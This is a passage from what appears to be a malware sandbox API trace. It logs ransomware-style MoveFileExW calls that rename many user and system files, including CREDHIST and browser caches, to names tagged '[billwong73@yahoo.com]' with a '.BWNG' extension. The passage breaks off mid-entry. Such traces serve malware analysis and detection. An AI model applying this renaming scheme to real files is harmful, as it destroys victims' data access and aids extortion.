[0135.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27772495174) returned 1 [0135.773] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\VrWQ1Ibs.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\vrwq1ibs.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].kic1Vtri-E6NicWLu.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].kic1vtri-e6nicwlu.bwng"), dwFlags=0x1) returned 1 [0135.774] GetTickCount () returned 0x11695f9 [0135.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27772628914) returned 1 [0135.774] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\Q3_PDV1rM3.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\q3_pdv1rm3.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].dw2CnB1g-doAx3d2Y.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].dw2cnb1g-doax3d2y.bwng"), dwFlags=0x1) returned 1 [0135.775] GetTickCount () returned 0x11695f9 [0135.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27772762708) returned 1 [0135.776] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\[billwong73@yahoo.com].ZjL2rNa7-SB1mH4BV.BWNG" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\[billwong73@yahoo.com].zjl2rna7-sb1mh4bv.bwng"), dwFlags=0x1) returned 0 [0135.776] GetTickCount () returned 0x11695f9 [0135.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27772806320) returned 1 [0135.776] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\[billwong73@yahoo.com].gIcJA9OG-Mw8FC9IM.BWNG" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\[billwong73@yahoo.com].gicja9og-mw8fc9im.bwng"), dwFlags=0x1) returned 1 [0135.818] GetTickCount () returned 0x1169628 [0135.818] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27777063738) returned 1 [0135.819] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].8yuD6U9U-GpIVUvRR.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].8yud6u9u-gpivuvrr.bwng"), dwFlags=0x1) returned 0 [0135.819] GetTickCount () returned 0x1169628 [0135.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27777145561) returned 1 [0135.820] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].4DQXMm9t-P9gE99Qd.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].4dqxmm9t-p9ge99qd.bwng"), dwFlags=0x1) returned 0 [0135.820] GetTickCount () returned 0x1169628 [0135.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27777191017) returned 1 [0135.822] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].dj2JODyT-IOJfpo39.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].dj2jodyt-iojfpo39.bwng"), dwFlags=0x1) returned 0 [0135.823] GetTickCount () returned 0x1169628 [0135.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27777497952) returned 1 [0135.823] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\[billwong73@yahoo.com].lvGWdMKv-CXMj7xKH.BWNG" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\[billwong73@yahoo.com].lvgwdmkv-cxmj7xkh.bwng"), dwFlags=0x1) returned 0 [0135.823] GetTickCount () returned 0x1169628 [0135.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27777559624) returned 1 [0135.824] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].iQUq8FDA-bVohKYKN.BWNG" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].iquq8fda-bvohkykn.bwng"), dwFlags=0x1) returned 0 [0135.858] GetTickCount () returned 0x1169647 [0135.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27781062719) returned 1 [0135.859] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].29o0AfFc-OPU9ABxu.BWNG" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].29o0affc-opu9abxu.bwng"), dwFlags=0x1) returned 0 [0135.859] GetTickCount () returned 0x1169647 [0135.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27781133151) returned 1 [0135.859] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\[billwong73@yahoo.com].dtY3VLPG-G3ShU3av.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\[billwong73@yahoo.com].dty3vlpg-g3shu3av.bwng"), dwFlags=0x1) returned 1 [0135.861] GetTickCount () returned 0x1169657 [0135.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27781315597) returned 1 [0135.861] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\[billwong73@yahoo.com].iKZCjPV7-VOq0iEvE.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\[billwong73@yahoo.com].ikzcjpv7-voq0ieve.bwng"), dwFlags=0x1) returned 1 [0135.926] GetTickCount () returned 0x1169695 [0135.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27787804289) returned 1 [0135.926] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].G0j4bcPV-d5RqfeJ4.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].g0j4bcpv-d5rqfej4.bwng"), dwFlags=0x1) returned 1 [0135.927] GetTickCount () returned 0x1169695 [0135.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27787962789) returned 1 [0135.928] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].07YURfBb-PdW4liSm.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].07yurfbb-pdw4lism.bwng"), dwFlags=0x1) returned 1 [0135.929] GetTickCount () returned 0x1169695 [0135.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27788104247) returned 1 [0135.929] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].vnZG0pTt-2UdfXX8x.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].vnzg0ptt-2udfxx8x.bwng"), dwFlags=0x1) returned 1 [0135.930] GetTickCount () returned 0x1169695 [0135.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27788242344) returned 1 [0135.930] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\[billwong73@yahoo.com].htBNIEbv-h4Vw40bi.BWNG" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\[billwong73@yahoo.com].htbniebv-h4vw40bi.bwng"), dwFlags=0x1) returned 1 [0135.969] GetTickCount () returned 0x11696b4 [0135.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27792093213) returned 1 [0135.969] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\[billwong73@yahoo.com].8BHJXk2O-p95aymzY.BWNG" (normalized: "c:\\users\\default\\favorites\\links\\[billwong73@yahoo.com].8bhjxk2o-p95aymzy.bwng"), dwFlags=0x1) returned 1 [0135.971] GetTickCount () returned 0x11696c4 [0135.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27792314782) returned 1 [0135.971] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\[billwong73@yahoo.com].efsBf6jQ-XAMw5RAk.BWNG" (normalized: "c:\\users\\default\\favorites\\msn websites\\[billwong73@yahoo.com].efsbf6jq-xamw5rak.bwng"), dwFlags=0x1) returned 1 [0135.972] GetTickCount () returned 0x11696c4 [0135.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27792459414) returned 1 [0135.973] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Music\\[billwong73@yahoo.com].zueqt062-4qOlPc5e.BWNG" (normalized: "c:\\users\\default\\music\\[billwong73@yahoo.com].zueqt062-4qolpc5e.bwng"), dwFlags=0x1) returned 1 [0135.974] GetTickCount () returned 0x11696c4 [0135.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27792608590) returned 1 [0135.974] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\[billwong73@yahoo.com].oGcQQfOK-g7FB7wSK.BWNG" (normalized: "c:\\users\\public\\desktop\\[billwong73@yahoo.com].ogcqqfok-g7fb7wsk.bwng"), dwFlags=0x1) returned 1 [0135.975] GetTickCount () returned 0x11696c4 [0135.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27792758406) returned 1 [0135.976] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\[billwong73@yahoo.com].OJiEgY87-cJ23LDWw.BWNG" (normalized: "c:\\users\\public\\music\\sample music\\[billwong73@yahoo.com].ojiegy87-cj23ldww.bwng"), dwFlags=0x1) returned 1 [0135.977] GetTickCount () returned 0x11696c4 [0135.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27792899016) returned 1 [0135.977] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_002_"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\[billwong73@yahoo.com].VB1QuBDi-7Ri0GqX9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\[billwong73@yahoo.com].vb1qubdi-7ri0gqx9.bwng"), dwFlags=0x1) returned 1 [0135.978] GetTickCount () returned 0x11696c4 [0135.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27793049321) returned 1 [0135.979] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\[billwong73@yahoo.com].9eNOmEiI-GsCYGXmR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\[billwong73@yahoo.com].9enomeii-gscygxmr.bwng"), dwFlags=0x1) returned 1 [0135.980] GetTickCount () returned 0x11696c4 [0135.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27793191155) returned 1 [0135.980] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\23b523c9e7746f715d33c6527c18eb9d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].MO7EaSW5-KIDHe4Rk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].mo7easw5-kidhe4rk.bwng"), dwFlags=0x1) returned 1 [0135.981] GetTickCount () returned 0x11696c4 [0135.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27793329864) returned 1 [0135.981] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\705a76de71ea2caebb8f0907449ce086_9752c5b2d53ee7a19f7764b52968ec21"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].OMPvBMv6-rG8IUAr8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].ompvbmv6-rg8iuar8.bwng"), dwFlags=0x1) returned 1 [0135.982] GetTickCount () returned 0x11696c4 [0135.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27793466857) returned 1 [0135.983] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_581c904db5924e46a6c1a8637614a40e"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].KPN4CtmJ-mgKJffqO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].kpn4ctmj-mgkjffqo.bwng"), dwFlags=0x1) returned 1 [0135.984] GetTickCount () returned 0x11696c4 [0135.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27793611497) returned 1 [0135.984] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8e4e510f44a56b8c8ecfec352907c373_411140098d71f028134e9b8a21255c61"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].ibU5y9GC-KUkKu8Ah.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].ibu5y9gc-kukku8ah.bwng"), dwFlags=0x1) returned 1 [0135.985] GetTickCount () returned 0x11696c4 [0135.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27793750847) returned 1 [0135.986] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_6ce6e578b5c8485b4be3c4d58e12f150"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].DeCO0KBv-oSQhM7dE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].deco0kbv-osqhm7de.bwng"), dwFlags=0x1) returned 1 [0135.987] GetTickCount () returned 0x11696d4 [0135.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27793914495) returned 1 [0135.987] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\f90f18257cbb4d84216ac1e1f3bb2c76"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].CFdYTLQc-CqUNsUmS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].cfdytlqc-cqunsums.bwng"), dwFlags=0x1) returned 1 [0135.988] GetTickCount () returned 0x11696d4 [0135.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27794065012) returned 1 [0135.989] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\4dd39726d4b55ac3b4119b35a893323c_46cccfb940a93f39a734f69efcdd76e9"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].ecv8m8Dt-aVmtdC9I.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].ecv8m8dt-avmtdc9i.bwng"), dwFlags=0x1) returned 1 [0136.041] GetTickCount () returned 0x1169702 [0136.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27799284496) returned 1 [0136.041] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_0a9bfdd75b598c2110cbf610c078e6e6"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].zOrnj3IS-5SraOgGV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].zornj3is-5sraoggv.bwng"), dwFlags=0x1) returned 1 [0136.042] GetTickCount () returned 0x1169702 [0136.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27799457520) returned 1 [0136.043] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f2318f7ab33980a131a265454c39ca30"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].mk0mSjEg-wR33xl21.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].mk0msjeg-wr33xl21.bwng"), dwFlags=0x1) returned 1 [0136.044] GetTickCount () returned 0x1169702 [0136.044] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27799619156) returned 1 [0136.044] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9c888beabccbc2a97b0d6d9214c3ba37_ebc75728c6119a77e4da8559dd10f061"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].SUG0BTC2-G0pkqpdx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].sug0btc2-g0pkqpdx.bwng"), dwFlags=0x1) returned 1 [0136.045] GetTickCount () returned 0x1169702 [0136.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27799758584) returned 1 [0136.046] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_4dd1053bcc726da41115fff4c7d6e9cc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 